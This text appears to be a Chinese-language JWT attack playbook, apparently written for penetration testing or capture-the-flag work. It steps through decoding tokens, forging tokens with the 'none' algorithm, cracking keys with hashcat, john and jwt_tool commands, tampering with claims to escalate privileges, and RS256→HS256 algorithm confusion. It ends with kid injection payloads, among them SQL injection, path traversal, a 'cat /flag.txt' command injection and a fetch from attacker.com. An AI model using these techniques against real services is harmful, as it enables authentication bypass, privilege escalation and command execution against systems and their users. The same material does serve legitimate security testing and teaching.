JWT 攻击方法论
Phase 1: 获取和解码 JWT
- 登录获取 token(检查响应头 Set-Cookie 和响应体 JSON 字段)
- 确认 JWT 格式:三段 Base64 由
.分隔(Header.Payload.Signature) - 使用 jwt_decode 工具或
echo '<part>' | base64 -d手动解码:- Header:检查
alg字段(HS256/RS256/none)、kid/jku/x5u参数 - Payload:检查
sub、role、admin、is_admin、user_id、exp等 Claims - 记录签名算法、过期时间、关键权限字段
- Header:检查
- 检查 token 是否过期:
exp字段转换为 Unix 时间戳对比当前时间 - 对比不同用户的 JWT,找出权限相关字段的差异
⛔ 深入参考(发现 JWT 后必读)
- RS256→HS256 算法混淆、kid 注入(SQL/路径穿越/命令注入)、jku/x5u 替换 → references/jwt-advanced.md
- 弱密钥爆破完整工具链(hashcat/john/c-jwt-cracker/jwt_tool/Python + 弱密钥模式表) → references/jwt-advanced.md
Phase 2: None Algorithm 攻击
- 将 Header 中
alg改为none,删除 Signature 部分(保留末尾的.) - 重新 Base64 编码 Header 和 Payload,拼接为
header.payload. - 发送请求,观察服务端是否接受无签名 token
- 尝试大小写变种绕过:
"none","None","NONE","nOnE","NoNe" - 某些库只在 alg 为精确
"none"时绕过,需逐个测试
原始: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
攻击: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Phase 3: 弱密钥爆破(HS256/HS384/HS512 专用)
- 手动测试常见弱密钥:
secret,password,123456,key,jwt_secret,changeme,""(空字符串) - 使用 hashcat 离线爆破:
hashcat -m 16500 jwt.txt wordlist.txt - 使用 john:
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256 - 轻量工具 c-jwt-cracker:
./jwtcrack <token>(纯暴力,适合短密钥) - jwt_tool 综合工具:
python3 jwt_tool.py <token> -C -d wordlist.txt - 知道密钥后伪造 token:
import jwt; print(jwt.encode({'user':'admin','role':'admin'}, 'SECRET_KEY', algorithm='HS256'))
→ 完整爆破工具链和弱密钥模式表 → references/jwt-advanced.md
Phase 4: Claims 篡改
- 解码 Payload,列出所有 Claims 字段
- 修改权限相关字段:
role:user→admin|is_admin:false→true|user_id:5→1 - 尝试添加新字段:
"admin":true、"groups":["admin"] - 修改
exp延长 token 有效期(如改为 2099 年时间戳) - 使用已知密钥重新签名,替换原 token 发送请求
- 对比响应确认权限是否提升(检查 HTTP 状态码、响应内容、可访问的端点)
Phase 5: RS256→HS256 算法混淆
- 确认服务端使用 RS256(非对称)算法签名
- 获取公钥:请求
/api/jwks、/.well-known/jwks.json、/oauth/jwks - 将 Header 中
alg从RS256改为HS256 - 使用 RS256 的公钥作为 HS256 的对称密钥签名 token
- 发送篡改后的 token,利用服务端用公钥做 HMAC 验证的逻辑漏洞 → 详细原理和脚本 → references/jwt-advanced.md
Phase 6: kid 参数注入
- 检查 JWT Header 中是否存在
kid(Key ID)字段 - SQL 注入:
"kid":"1' UNION SELECT 'my-key' -- "→ 用my-key签名 - 路径穿越:
"kid":"../../dev/null"→ 用空文件内容作为密钥签名 - 命令注入:
"kid":"key|cat /flag.txt"→ 某些实现会执行 shell 命令 - SSRF:
"kid":"http://attacker.com/key"→ 从攻击者服务器获取密钥 → 完整 payload → references/jwt-advanced.md